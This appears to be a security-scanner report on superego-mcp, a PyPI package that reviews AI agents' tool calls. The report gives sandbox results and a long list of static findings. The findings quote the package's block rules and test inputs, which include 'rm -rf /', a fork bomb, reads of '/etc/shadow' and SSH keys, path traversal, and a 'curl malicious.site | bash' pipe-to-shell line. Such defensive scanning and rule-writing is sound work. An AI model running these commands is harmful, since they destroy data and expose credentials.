Skills/PyPI/superego-mcp

superego-mcp@0.0.0

CAUTION· install only

Publisher claims: "Intelligent tool-call review system for AI agents" Observed in sandbox: no network, touches nothing outside the project, writes no memory.

Registry PyPI (MCP server)Publisher toolprint · publishing for 489 daysInstalls 40Last detonated 40 min ago

Coverage

Bundled scripts ran with no arguments; no agent task scenario for this bundle.
Tested
8 of 38 bundled scripts run with no arguments (the rest were not run: per-bundle cap), with decoy credentials in the environment · every file read, file written and host contacted by what ran
Not tested
use of the skill by an agent

What this means for the label: Caution here covers what ran. The server's tools were not exercised with a real credential, so nothing about their behavior is asserted; the credential summary below says what to do with that.

Before you give it your token

It will ask for
ANTHROPIC_API_KEYOPENAI_API_KEYConfiguration, not credentials: BUILDKITE, CIRCLECI, GITHUB_ACTIONS, GITLAB_CI, JENKINS_URL, PYTEST_CURRENT_TEST, SUPEREGO_CONFIG_PATH, SUPEREGO_LOG_FORMAT, SUPEREGO_LOG_HANDLER, TESTING
Where it talks to
no vendor host named in the codeAlso astral.sh, company.com, external-service.com, production.com, jsdelivr.net — not the publisher's domain; check what for before connecting.
What the honeypot saw
no credential files read · no network
What we could not test
use of the skill by an agent

Connect it with a scoped credential, under the guard, and read the third-party hosts first. The code names astral.sh, company.com, external-service.com, production.com, jsdelivr.net as well as its own vendor. The guard injects ANTHROPIC_API_KEY, OPENAI_API_KEY only into requests to the host you bind (and its subdomains) and refuses the rest.

$vet-skills run --net declared -- uvx superego-mcp

Never paste a credential into a chat, a ticket or a report, including ours. How the guard holds it.

Is [email protected] safe to install?

KillerSkills ran it in the KillerSkills honeypot sandbox (2 scenarios; bundled scripts ran with no arguments; no agent task scenario for this bundle) on 2026-11-19 and scored it 70/100 (Caution). It is not known to be malicious, but it has behaviour or code a security policy should decide on before install. Notable findings: Destructive command against a filesystem root or device; Destructive command against a filesystem root or device; Destructive command against a filesystem root or device. Summary: no network, touches nothing outside the project, writes no memory.

Behavior trace

Honeypot run · 1 s · 2 scenarios · 0 deviations
t+CategoryObserved action
0.0sprocessno install scripts in bundle
0.0sprocessbundled script run in the sandbox with no arguments
0.1sprocessexited 1: ModuleNotFoundError: No module named 'hatchling'
0.1sprocessbundled script run in the sandbox with no arguments · not named in the instructions
0.1sprocessexited 1: ModuleNotFoundError: No module named 'httpx'
0.1sprocessbundled script run in the sandbox with no arguments
0.2sprocessexited 1: ModuleNotFoundError: No module named 'structlog'
0.2sprocessbundled script run in the sandbox with no arguments
0.3sprocessexited 1: ModuleNotFoundError: No module named 'structlog'
0.3sprocessbundled script run in the sandbox with no arguments
0.5sprocessexited 1: ImportError: attempted relative import with no known parent package
0.5sprocessbundled script run in the sandbox with no arguments
0.6sprocessexited 1: ImportError: attempted relative import with no known parent package
0.6sprocessbundled script run in the sandbox with no arguments
0.7sprocessexited 1: ImportError: attempted relative import with no known parent package
0.7sprocessbundled script run in the sandbox with no arguments
0.8sprocessexited 1: ModuleNotFoundError: No module named 'fastmcp'
0.8sprocess8 of 38 bundled scripts run with no arguments (the rest were not run: per-bundle cap)
0.8sprocessscript backend runs setup only
0.8sprocessscript backend runs setup only
0.8sprocessno install scripts to re-run

Static findings

CRITICAL
Destructive command against a filesystem root or devicesrc/superego_mcp/demo_config/fastagent/fastagent.config.openai.yaml:76 · Destructive command against a filesystem root or deviceparams: {"command": "sudo rm -rf /"}Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
CRITICAL
Destructive command against a filesystem root or devicesrc/superego_mcp/cli.py:66 · Destructive command against a filesystem root or deviceecho '{"tool_name": "bash", "tool_input": {"command": "rm -rf /"}}' | superego adviseFix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
CRITICAL
Destructive command against a filesystem root or devicesrc/superego_mcp/demo_config/fastagent/fastagent.config.anthropic.yaml:75 · Destructive command against a filesystem root or deviceparams: {"command": "sudo rm -rf /"}Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
CRITICAL
Destructive command against a filesystem root or devicesrc/superego_mcp/demo_config/superego/rules-cli-demo.yaml:21 · Destructive command against a filesystem root or device- "rm -rf /"Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
Python subprocess execution detectedhatch_build.py:65 · Python subprocess execution detectedreturn subprocess.run(Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
HIGH
Auto-update or dynamic fetch configurationsrc/superego_mcp/presentation/server.py:122 · Auto-update or dynamic fetch configuration — agent may load new code at runtime"hot_reload": self.config.hot_reload,Fix: Pin versions and sources; vendor anything fetched at install time.
AST06
HIGH
Auto-update or dynamic fetch configurationsrc/superego_mcp/infrastructure/config.py:181 · Auto-update or dynamic fetch configuration — agent may load new code at runtimehot_reload: bool = Field(default=True, description="Enable hot reload of rules")Fix: Pin versions and sources; vendor anything fetched at install time.
AST06
HIGH
Auto-update or dynamic fetch configurationsrc/superego_mcp/presentation/unified_server.py:606 · Auto-update or dynamic fetch configuration — agent may load new code at runtime"hot_reload": self.config.hot_reload,Fix: Pin versions and sources; vendor anything fetched at install time.
AST06
HIGH
Access to sensitive file pathssrc/superego_mcp/infrastructure/inference.py:811 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system files"/etc/passwd",Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
HIGH
Auto-update or dynamic fetch configurationsrc/superego_mcp/demo_config/superego/claude-code-demo.yaml:13 · Auto-update or dynamic fetch configuration — agent may load new code at runtimehot_reload: trueFix: Pin versions and sources; vendor anything fetched at install time.
AST06
HIGH
Destructive file system command detectedsrc/superego_mcp/demo_config/fastagent/fastagent.config.anthropic.yaml:75 · Destructive file system command detectedparams: {"command": "sudo rm -rf /"}Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
HIGH
Destructive file system command detectedsrc/superego_mcp/demo_config/superego/rules-cli-demo.yaml:16 · Destructive file system command detectedparameters: "rm -rf /|sudo rm|chmod 777 /|dd if=/dev/zero|:(){ :|:& };:"Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
HIGH
Privileged sudo commandsrc/superego_mcp/config/minimal_rules.yaml:32 · Privileged sudo command — agent may execute with elevated privilegescontains: ["rm -rf", "sudo rm", "chmod 777", "mkfs", "fdisk", "dd if="]Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
HIGH
Access to sensitive file pathssrc/superego_mcp/config/minimal_rules.yaml:20 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system filescontains: ["/etc/passwd", "/etc/shadow", "/boot/", "/sys/", "/proc/"]Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
HIGH
Privileged sudo commandsrc/superego_mcp/demo_config/superego/rules-cli-demo.yaml:22 · Privileged sudo command — agent may execute with elevated privileges- "sudo rm -rf /*"Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
HIGH
Access to sensitive file pathssrc/superego_mcp/demo_config/fastagent/fastagent.config.openai.yaml:74 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system filesparams: {"path": "/etc/passwd"}Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
CRITICAL
Destructive command against a filesystem root or devicesrc/superego_mcp/demo_config/superego/rules-cli-demo.yaml:22 · Destructive command against a filesystem root or device- "sudo rm -rf /*"Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
HIGH
Destructive file system command detectedsrc/superego_mcp/infrastructure/inference.py:824 · Destructive file system command detected"del /s",Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
HIGH
Privileged sudo commandsrc/superego_mcp/demo_config/fastagent/fastagent.config.anthropic.yaml:75 · Privileged sudo command — agent may execute with elevated privilegesparams: {"command": "sudo rm -rf /"}Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
HIGH
Auto-update or dynamic fetch configurationsrc/superego_mcp/presentation/transport_server.py:177 · Auto-update or dynamic fetch configuration — agent may load new code at runtime"hot_reload": self.config.hot_reload,Fix: Pin versions and sources; vendor anything fetched at install time.
AST06
HIGH
Access to sensitive file pathssrc/superego_mcp/demo_config/fastagent/fastagent.config.anthropic.yaml:73 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system filesparams: {"path": "/etc/passwd"}Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
HIGH
Privileged sudo commandsrc/superego_mcp/presentation/http_transport.py:200 · Privileged sudo command — agent may execute with elevated privileges"command": "sudo rm -rf /usr/local/bin/*",Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
HIGH
Destructive file system command detectedsrc/superego_mcp/demo_config/superego/rules-cli-demo.yaml:22 · Destructive file system command detected- "sudo rm -rf /*"Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
HIGH
Access to sensitive file pathssrc/superego_mcp/demo_config/fastagent/fastagent.config.anthropic.yaml:77 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system filesparams: {"path": "/etc/shadow", "mode": "777"}Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
HIGH
Auto-update or dynamic fetch configurationsrc/superego_mcp/infrastructure/config_watcher.py:1 · Auto-update or dynamic fetch configuration — agent may load new code at runtime"""Configuration file watcher for hot-reload functionality."""Fix: Pin versions and sources; vendor anything fetched at install time.
AST06
HIGH
Destructive file system command detectedsrc/superego_mcp/demo_config/superego/rules-cli-demo.yaml:21 · Destructive file system command detected- "rm -rf /"Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
HIGH
References a credential file in the home directorysrc/superego_mcp/demo_config/superego/rules-cli-demo.yaml:37 · References a credential file in the home directory- "~/.ssh/id_rsa"Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST03
HIGH
Access to sensitive file pathssrc/superego_mcp/demo_config/superego/rules-cli-demo.yaml:35 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system files- "/etc/passwd"Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
HIGH
Destructive file system command detectedsrc/superego_mcp/cli.py:66 · Destructive file system command detectedecho '{"tool_name": "bash", "tool_input": {"command": "rm -rf /"}}' | superego adviseFix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
HIGH
Access to sensitive file pathssrc/superego_mcp/demo_config/superego/rules.yaml:14 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system filespattern: "sudo|rm -rf|/etc/passwd|/etc/shadow"Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
HIGH
Access to sensitive file pathssrc/superego_mcp/demo_config/superego/rules-cli-demo.yaml:30 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system filesparameters: "/etc/passwd|/etc/shadow|/etc/sudoers|~/.ssh/|/root/|/var/log/auth"Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
HIGH
Privileged sudo commandsrc/superego_mcp/demo_config/superego/rules-cli-demo.yaml:16 · Privileged sudo command — agent may execute with elevated privilegesparameters: "rm -rf /|sudo rm|chmod 777 /|dd if=/dev/zero|:(){ :|:& };:"Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
HIGH
Access to sensitive file pathssrc/superego_mcp/stdio_main.py:51 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system files"parameters": "sudo|rm -rf|/etc/passwd|/etc/shadow"Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
MEDIUM
Python subprocess execution detectedhatch_build.py:76 · Python subprocess execution detectedreturn subprocess.run(Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
HIGH
Destructive file system command detectedsrc/superego_mcp/demo_config/fastagent/fastagent.config.openai.yaml:76 · Destructive file system command detectedparams: {"command": "sudo rm -rf /"}Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
HIGH
Privileged sudo commandsrc/superego_mcp/infrastructure/inference.py:813 · Privileged sudo command — agent may execute with elevated privileges"sudo rm",Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
HIGH
Privileged sudo commandsrc/superego_mcp/demo_config/fastagent/fastagent.config.openai.yaml:76 · Privileged sudo command — agent may execute with elevated privilegesparams: {"command": "sudo rm -rf /"}Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
HIGH
Auto-update or dynamic fetch configurationsrc/superego_mcp/config/server-cli-example.yaml:12 · Auto-update or dynamic fetch configuration — agent may load new code at runtimehot_reload: trueFix: Pin versions and sources; vendor anything fetched at install time.
AST06
HIGH
Auto-update or dynamic fetch configurationsrc/superego_mcp/main_optimized.py:219 · Auto-update or dynamic fetch configuration — agent may load new code at runtimeprint("Configuration hot-reload enabled")Fix: Pin versions and sources; vendor anything fetched at install time.
AST06
HIGH
Destructive file system command detectedsrc/superego_mcp/presentation/http_transport.py:200 · Destructive file system command detected"command": "sudo rm -rf /usr/local/bin/*",Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
HIGH
Auto-update or dynamic fetch configurationconfig/server.yaml:11 · Auto-update or dynamic fetch configuration — agent may load new code at runtimehot_reload: trueFix: Pin versions and sources; vendor anything fetched at install time.
AST06
HIGH
Access to sensitive file pathssrc/superego_mcp/demo_config/fastagent/fastagent.config.openai.yaml:78 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system filesparams: {"path": "/etc/shadow", "mode": "777"}Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
HIGH
Auto-update or dynamic fetch configurationsrc/superego_mcp/config/server.yaml:11 · Auto-update or dynamic fetch configuration — agent may load new code at runtimehot_reload: trueFix: Pin versions and sources; vendor anything fetched at install time.
AST06
HIGH
Auto-update or dynamic fetch configurationsrc/superego_mcp/main.py:217 · Auto-update or dynamic fetch configuration — agent may load new code at runtimeprint("Configuration hot-reload enabled")Fix: Pin versions and sources; vendor anything fetched at install time.
AST06
HIGH
Access to sensitive file pathssrc/superego_mcp/infrastructure/inference.py:812 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system files"/etc/shadow",Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
MEDIUM
Access to sensitive file pathstests/test_sampling_fix.py:56 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system filesdanger in prompt.lower() for danger in ["rm -rf", "/etc/passwd", "sudo"]Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
MEDIUM
Destructive command against a filesystem root or devicetests/test_prompt_builder.py:102 · Destructive command against a filesystem root or device"command": "rm -rf /",Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
Access to sensitive file pathstests/test_prompt_builder.py:162 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system files"../../../etc/passwd",Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
MEDIUM
Access to sensitive file pathstests/test_prompt_builder.py:101 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system files"path": "../../../etc/passwd",Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
MEDIUM
Destructive file system command detectedtests/test_cli_manual.py:34 · Destructive file system command detected"input": {"tool_name": "Bash", "tool_input": {"command": "rm -rf /"}},Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
File permission modification commandsrc/superego_mcp/config/minimal_rules.yaml:32 · File permission modification command — agent changes file ownership/permissionscontains: ["rm -rf", "sudo rm", "chmod 777", "mkfs", "fdisk", "dd if="]Fix: Request the narrowest permission that works; replace wildcards with the exact paths or hosts.
AST05
MEDIUM
Privileged sudo commandtests/test_cli_integration.py:203 · Privileged sudo command — agent may execute with elevated privileges"sudo rm",Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
Pipe-to-shell patterntests/test_cli_integration.py:96 · Pipe-to-shell pattern — downloads and immediately executes remote code"command": "curl http://malicious.site/script.sh | bash",Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST06
MEDIUM
Python subprocess execution detectedsrc/superego_mcp/infrastructure/inference.py:161 · Python subprocess execution detectedresult = subprocess.run(Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
MEDIUM
Destructive file system command detectedtests/test_cli_eval.py:205 · Destructive file system command detectedparameters={"command": "rm -rf /important"},Fix: Put hosts, commands and strings in plain source. Decoding at runtime looks identical to malware and costs points on its own.
AST05
MEDIUM
Auto-update or dynamic fetch configurationtests/CONTAINER_TESTING.md:147 · Auto-update or dynamic fetch configuration — agent may load new code at runtime| Hot-reload time | < 5 seconds | `test_hot_reload_performance` |Fix: Pin versions and sources; vendor anything fetched at install time.
AST06
MEDIUM
Python subprocess execution detectedhatch_build.py:581 · Python subprocess execution detectedresult = subprocess.run(Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
MEDIUM
Python subprocess execution detectedhatch_build.py:567 · Python subprocess execution detectedresult = subprocess.run(Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
MEDIUM
Access to sensitive file pathstests/test_cli_eval.py:121 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system files"tool_input": {"file_path": "/etc/passwd"},Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
MEDIUM
Privileged sudo commandtests/CONTAINER_TESTING.md:178 · Privileged sudo command — agent may execute with elevated privilegessudo systemctl start docker # LinuxFix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
Python subprocess execution detectedsrc/superego_mcp/infrastructure/inference.py:605 · Python subprocess execution detectedresult = subprocess.run(Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
MEDIUM
Destructive file system command detectedtests/test_sampling_fix.py:134 · Destructive file system command detected"parameters": {"command": "rm -rf /", "description": "Destroy system"},Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
Auto-update or dynamic fetch configurationtests/CONTAINER_TESTING.md:135 · Auto-update or dynamic fetch configuration — agent may load new code at runtimeperformance_threshold_hot_reload: float = 5.0 # secondsFix: Pin versions and sources; vendor anything fetched at install time.
AST06
MEDIUM
Auto-update or dynamic fetch configurationtests/test_container.py:62 · Auto-update or dynamic fetch configuration — agent may load new code at runtimeperformance_threshold_hot_reload: float = 5.0 # secondsFix: Pin versions and sources; vendor anything fetched at install time.
AST06
MEDIUM
File permission modification commandtests/test_cli_integration.py:204 · File permission modification command — agent changes file ownership/permissions"chmod 777",Fix: Request the narrowest permission that works; replace wildcards with the exact paths or hosts.
AST05
MEDIUM
Access to sensitive file pathstests/test_cli_integration.py:202 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system files"/etc/shadow",Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
MEDIUM
Destructive command against a filesystem root or devicetests/test_sampling_fix.py:134 · Destructive command against a filesystem root or device"parameters": {"command": "rm -rf /", "description": "Destroy system"},Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
File permission modification commandsrc/superego_mcp/demo_config/superego/rules-cli-demo.yaml:16 · File permission modification command — agent changes file ownership/permissionsparameters: "rm -rf /|sudo rm|chmod 777 /|dd if=/dev/zero|:(){ :|:& };:"Fix: Request the narrowest permission that works; replace wildcards with the exact paths or hosts.
AST05
MEDIUM
File permission modification commandsrc/superego_mcp/infrastructure/inference.py:814 · File permission modification command — agent changes file ownership/permissions"chmod 777",Fix: Request the narrowest permission that works; replace wildcards with the exact paths or hosts.
AST05
MEDIUM
Destructive file system command detectedtests/test_cli_eval.py:42 · Destructive file system command detected"tool_input": {"command": "rm -rf /"},Fix: Put hosts, commands and strings in plain source. Decoding at runtime looks identical to malware and costs points on its own.
AST05
MEDIUM
Remote installer piped to shelltests/test_cli_integration.py:96 · Remote installer piped to shell"command": "curl http://malicious.site/script.sh | bash",Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST07
MEDIUM
Auto-update or dynamic fetch configurationtests/test_container.py:661 · Auto-update or dynamic fetch configuration — agent may load new code at runtimeenvironment={"SUPEREGO_HOT_RELOAD": "true"},Fix: Pin versions and sources; vendor anything fetched at install time.
AST06
MEDIUM
Destructive command against a filesystem root or devicetests/test_cli_eval.py:42 · Destructive command against a filesystem root or device"tool_input": {"command": "rm -rf /"},Fix: Put hosts, commands and strings in plain source. Decoding at runtime looks identical to malware and costs points on its own.
AST05
MEDIUM
Auto-update or dynamic fetch configurationtests/test_container.py:1072 · Auto-update or dynamic fetch configuration — agent may load new code at runtimeassert server_info.get("config", {}).get("hot_reload") is TrueFix: Pin versions and sources; vendor anything fetched at install time.
AST06
MEDIUM
Destructive file system command detectedtests/test_cli_integration.py:42 · Destructive file system command detected"command": "rm -rf /important/data",Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
LOW
Authorization escalation languagesecurity/README.md:290 · Authorization escalation language · informational: not an instruction file- Require multi-factor authentication for admin accessFix: Remove the text that addresses the agent rather than the reader; describe behavior, do not instruct.
AST01
MEDIUM
Destructive file system command detectedtests/test_cli_integration.py:214 · Destructive file system command detected"del /s",Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
Access to sensitive file pathstests/test_cli_integration.py:71 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system files"tool_input": {"file_path": "/etc/passwd"},Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
MEDIUM
Access to sensitive file pathstests/test_cli_integration.py:201 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system files"/etc/passwd",Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
MEDIUM
Auto-update or dynamic fetch configurationtests/test_container.py:637 · Auto-update or dynamic fetch configuration — agent may load new code at runtimedef test_hot_reload_performance(self, container_fixtures: ContainerTestFixtures):Fix: Pin versions and sources; vendor anything fetched at install time.
AST06
MEDIUM
Python subprocess execution detectedtests/test_real_ai.py:75 · Python subprocess execution detectedresult = subprocess.run(Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
MEDIUM
Access to sensitive file pathstests/test_prompt_builder.py:142 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system files"files": ["file1.txt", "file2.txt", "../../../etc/passwd"],Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
MEDIUM
Access to sensitive file pathstests/test_cli_eval.py:129 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system filesassert "/etc/passwd" in hook_output["permissionDecisionReason"]Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
MEDIUM
Destructive command against a filesystem root or devicetests/test_cli_manual.py:34 · Destructive command against a filesystem root or device"input": {"tool_name": "Bash", "tool_input": {"command": "rm -rf /"}},Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
Auto-update or dynamic fetch configurationtests/test_container.py:1053 · Auto-update or dynamic fetch configuration — agent may load new code at runtime"SUPEREGO_HOT_RELOAD": "true",Fix: Pin versions and sources; vendor anything fetched at install time.
AST06
MEDIUM
Destructive file system command detectedtests/test_prompt_builder.py:102 · Destructive file system command detected"command": "rm -rf /",Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05

Cost to the agent

Instructions loaded
≈49 tok
1 file · 81 in bundle

Tokens estimated at four characters each. Skills load their instruction text when triggered; the figure is what that costs.

Known vulnerabilities

Not checked against OSV yet; the weekly check has not reached this version.

What would make this Verified

10 points to 80 · weights: behavior 45%, static 25%, prompt 15%, publisher 15%
  1. Destructive command against a filesystem root or device≈ +9 on the totalBuild commands from fixed arguments; do not interpolate untrusted strings into a shell.
  2. Unclaimed publisher≈ +8 on the totalClaim toolprint: a verified publisher gets +50 on publisher trust. It is free and usually instant with GitHub sign-in.
  3. Auto-update or dynamic fetch configuration≈ +4 on the totalPin versions and sources; vendor anything fetched at install time.
  4. Access to sensitive file paths≈ +4 on the totalStop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
  5. Destructive file system command detected≈ +4 on the totalBuild commands from fixed arguments; do not interpolate untrusted strings into a shell.
  6. Privileged sudo command≈ +4 on the totalBuild commands from fixed arguments; do not interpolate untrusted strings into a shell.
Publish a new version to PyPI, then queue it here. Not your skill? Claim the handle to get verdict changes by email.Claim toolprintPropose a patch to the maintainer